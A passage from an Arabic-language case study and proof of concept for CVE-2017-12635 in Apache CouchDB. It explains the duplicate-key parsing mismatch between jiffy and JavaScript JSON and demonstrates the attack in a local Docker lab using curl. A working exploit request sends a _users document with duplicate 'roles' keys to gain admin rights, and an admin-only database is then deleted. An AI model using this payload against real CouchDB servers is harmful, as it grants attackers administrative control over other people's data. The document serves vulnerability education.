
دراسة حالة وإثبات المفهوم لـ CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - تصعيد الامتيازات عن بُعد
دراسة حالة وإثبات المفهوم لـ CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - تصعيد الامتيازات عن بُعد
Apache CouchDB هي قاعدة بيانات NoSQL موجهة نحو المستندات، مطبقة بلغة Erlang.
تستخدم CouchDB تنسيقات وبروتوكولات متعددة لتخزين البيانات ونقلها ومعالجتها، فهي تستخدم JSON لتخزين البيانات، وJavaScript كلغة استعلام باستخدام MapReduce، وHTTP كواجهة برمجة تطبيقات.
يمكن استخدام CouchDB كقاعدة بيانات عقدة مفردة وكذلك كمجموعة.
بسبب التباين بين محلل JSON المعتمد على Erlang ومحلل JSON المعتمد على JavaScript، كانت هناك ثغرة في CouchDB قبل الإصدار 1.7.0 و 2.x قبل 2.1.1 تسمح للمستخدمين غير المسؤولين بتصعيد الامتيازات عن طريق إرسال مستندات _users تحتوي على مفاتيح roles مكررة تُستخدم للتحكم في الوصول داخل قواعد البيانات، بما في ذلك الحالة الخاصة لدور _admin الذي يشير إلى المستخدمين الإداريين.
باختصار، تسمح الثغرة للمستخدمين غير المسؤولين بمنح أنفسهم امتيازات إدارية.
بشكل افتراضي، تسمح CouchDB لأي طلب بأن يتم بواسطة أي شخص. الجميع لديهم صلاحيات لفعل أي شيء.
لدى CouchDB مفهوم المستخدم الإداري (مثل المسؤول، المستخدم الفائق، أو الجذر) الذي يُسمح له بفعل أي شيء لتثبيت CouchDB. افتراضياً، الجميع هو مسؤول. إذا كنت لا تحب ذلك، يمكنك إنشاء مستخدمين إداريين محددين باسم مستخدم وكلمة مرور كبيانات اعتماد.
كما تحدد CouchDB مجموعة من الطلبات التي يُسمح فقط للمستخدمين الإداريين بتنفيذها. قم بزيارة الوثائق الرسمية لمزيد من المعلومات.
لدى CouchDB قاعدة بيانات مصادقة خاصة تخزّن جميع المستخدمين المسجلين كمستندات JSON.
تستخدم CouchDB قاعدة بيانات خاصة (تسمى _users افتراضياً) لتخزين معلومات حول المستخدمين المسجلين. هذه قاعدة بيانات نظام – مما يعني أنه بينما تشارك واجهة برمجة التطبيقات العامة لقاعدة البيانات، هناك بعض القيود الخاصة بالأمان المطبقة والاتفاقيات المستخدمة حول هيكل المستندات.
فقط المسؤولون يمكنهم الحصول (GET) أو إنشاء (PUT) أو حذف (DELETE) أي مستند في قاعدة بيانات _users.
يمكن للمستخدمين فقط الوصول (GET /_users/org.couchdb.user:<username>) أو تعديل (PUT /_users/org.couchdb.user:<username>) المستندات التي يملكونها.
يُخزَّن كل مستخدم في CouchDB بتنسيق مستند. تحتوي هذه المستندات على عدة حقول إلزامية، التي تتعامل معها CouchDB من أجل عملية المصادقة الصحيحة. نحن مهتمون بحقل roles.
حقل roles هو قائمة بأدوار المستخدم. لا توفر CouchDB أي أدوار مبنية مسبقاً، لذا يمكنك تحديد أدوارك الخاصة حسب احتياجاتك. ومع ذلك، لا يمكنك تعيين أدوار النظام مثل _admin هناك. أيضاً، فقط المسؤولون يمكنهم تعيين الأدوار للمستخدمين - افتراضياً، لا يوجد لدى جميع المستخدمين أدوار.
CouchDB مكتوبة بلغة Erlang، ولكنها تسمح للمستخدمين بتحديد نصوص التحقق من المستندات بلغة JavaScript. يتم تقييم هذه النصوص تلقائياً عند إنشاء مستند أو تحديثه. تبدأ في عملية جديدة، ويتم تمرير مستندات مسلسلة بصيغة JSON من جانب Erlang.
ترسل CouchDB الدوال والمستندات إلى مفسر JavaScript. هذه الآلية هي ما يسمح للمستخدمين بكتابة دوال التحقق من المستندات بلغة JavaScript. يتم تنفيذ دالة validate_doc_update لكل مستند يتم إنشاؤه أو تحديثه. إذا أثارت دالة التحقق استثناءً، يتم رفض التحديث؛ عندما لا يحدث ذلك، يتم قبول التحديثات.
تستخدم CouchDB دالة validate_doc_update لمنع تحديثات المستندات غير الصالحة أو غير المصرح بها.
function(newDoc, oldDoc, userCtx, secObj) {...}
الوسائط:
newDoc – الإصدار الجديد من المستند الذي سيتم تخزينه.oldDoc – الإصدار السابق من المستند المخزّن بالفعل.userCtx – كائن سياق المستخدم.secObj – كائن الأمان.يتم تمرير الدالة إلى المستند الجديد من طلب التحديث، والمستند الحالي المخزّن في قاعدة البيانات، وكائن سياق المستخدم الذي يحتوي على معلومات حول المستخدم الذي يكتب المستند (إن وجد)، وكائن أمان مع قوائم بأدوار أمان قاعدة البيانات.
محلل JSON المستخدم داخلياً بواسطة CouchDB هو jiffy والمستخدم في نصوص التحقق بواسطة JavaScript هو JSON.
المشكلة هي وجود تباين بين JSON و jiffy عند التعامل مع المفاتيح المكررة.
بالنسبة لمفتاح معين، سيقوم محلل Erlang بتخزين كلا القيمتين، بينما سيقوم محلل JavaScript بتخزين القيمة الأخيرة فقط.
على سبيل المثال، تحليل {"name":"John", "name":"Jane"} باستخدام كلا المحللين سينتج:
jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON: {name: "Jane"}دالة الجالب للتمثيل الداخلي لـ CouchDB للبيانات ستعيد فقط القيمة الأولى.
يمكننا تجاوز جميع التحقق من صحة الإدخال ذات الصلة وإنشاء مستخدم إداري عن طريق إنشاء مستخدم يحتوي على مفتاح roles مكرر.
هذا ما يبدو عليه مستند المستخدم الجديد: {..., "roles": ["_admin"], "roles": [], ...}.
دالة الجالب للتمثيل الداخلي لـ CouchDB للبيانات ستعيد فقط القيمة الأولى. نتيجة لذلك، في أرض Erlang، سنرى أنفسنا كحاملين لدور _admin، بينما في أرض JavaScript نظهر بدون صلاحيات خاصة.
لحسن حظ المهاجم، جميع المنطق المهم المتعلق بالمصادقة والترخيص، بخلاف نص التحقق من الإدخال، يحدث في جزء Erlang من CouchDB.
لهذا العرض التوضيحي، سنستخدم صورة Docker من المستودع الرسمي couchdb. نحتاج إلى عميل HTTP لإجراء استدعاءات API وسنستخدم cURL لذلك.
يمكن استخدام أي نظام تشغيل لهذا العرض التوضيحي.
المتطلبات الأساسية:
هذه هي الأوامر التي يجب تشغيلها لاستغلال الثغرة:
إنشاء حاوية بناءً على الصورة الرسمية لـ couchdb
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
اخترنا وسم 1.6.1 لأن الإصدار 1.6.1 من CouchDB معرض للثغرة.
التأكد من تشغيل وبدء تشغيل مثيل CouchDB بشكل صحيح
curl -X GET http://localhost:5984
استعلام: جميع قواعد البيانات في المثيل
curl -X GET http://localhost:5984/_all_dbs
استعلام: إنشاء قاعدة بيانات جديدة باسم records
curl -X PUT http://localhost:5984/records
استعلام: التأكد من إنشاء قاعدة البيانات records
curl -X GET http://localhost:5984/_all_dbs
يمكننا الحصول على وإضافة وحتى إزالة جميع السجلات من مثيل CouchDB لأن تثبيت CouchDB الافتراضي يوفر وصولاً بمستوى المسؤول لجميع المستخدمين المتصلين. يُعرف هذا التكوين باسم "حفلة المسؤول". يمكننا إنهاء الحفلة ببساطة عن طريق إنشاء أول حساب إداري.
استعلام: إنشاء حساب إداري ببيانات الاعتماد admin:admin
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
استعلام: إنشاء قاعدة بيانات جديدة باسم new_records
curl -X PUT http://localhost:5984/new_records
عذراً! لم نعد قادرين على إنشاء قاعدة بيانات جديدة لأن حفلة المسؤول انتهت عند إنشاء أول حساب إداري.
استعلام: إنشاء قاعدة بيانات جديدة باسم new_records مع مصادقة المسؤول
curl -X PUT http://admin:admin@localhost:5984/new_records
استعلام: إنشاء مستند جديد في قاعدة بيانات _users
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
هنا يمكننا إنشاء مستند جديد في قاعدة بيانات _users، ولكن مع قيود على وسائطه.
يمكننا تجاوز القيود عن طريق تكرار حقل roles كما هو موضح سابقاً.
استعلام: حذف قاعدة البيانات المسماة new_records
curl -X DELETE http://localhost:5984/new_records
عذراً! لا يمكننا لأننا لا نملك دور المسؤول.
استعلام: حذف قاعدة البيانات المسماة new_records مع مصادقة الضيف
curl -X DELETE http://guest:guest@localhost:5984/new_records
بذلك! قمنا بحذف قاعدة البيانات حتى إذا تم إنشاء حساب الضيف كمستخدم عادي.
أثبت العرض التوضيحي أن أي مستخدم يمكنه إنشاء حساب بدور المسؤول والتصرف على قاعدة البيانات كمسؤول.
يمكننا التمييز بين نوعين من مثيلات CouchDB: